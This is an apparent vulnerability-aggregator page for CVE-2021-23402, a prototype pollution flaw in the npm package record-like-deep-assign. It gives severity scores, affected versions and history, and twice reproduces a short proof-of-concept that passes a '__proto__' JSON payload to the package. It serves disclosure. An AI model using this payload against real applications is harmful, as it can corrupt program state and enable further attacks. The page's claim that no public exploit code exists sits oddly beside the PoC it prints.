CVE-2021-23402
Prototype Pollution
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
Prototype Pollution
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
- Record
CVE-2021-23402- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C - Updated
- 2026-11-02
EUVDEUVD-2021-2473
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
- Record
EUVD-2021-2473- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-7qm6-9v49-38m9
Prototype Pollution in record-like-deep-assign
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
PoC
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
- Record
GHSA-7qm6-9v49-38m9- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-915, CWE-1321
- Updated
- 2026-11-02
NVD
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
- Record
CVE-2021-23402- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 7.5 High
AV:N/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVGHSA-7qm6-9v49-38m9
Prototype Pollution in record-like-deep-assign
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
PoC
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
- Record
GHSA-7qm6-9v49-38m9- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-1321, CWE-915
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
record-like-deep-assignnpm |
through 1.0.1 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2021-23402 is a high vulnerability (CVSS 7.3) in Record-like-deep-assign Project Record-like-deep-assign, published July 2, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.17%, the 67th percentile. No source names a fixed version.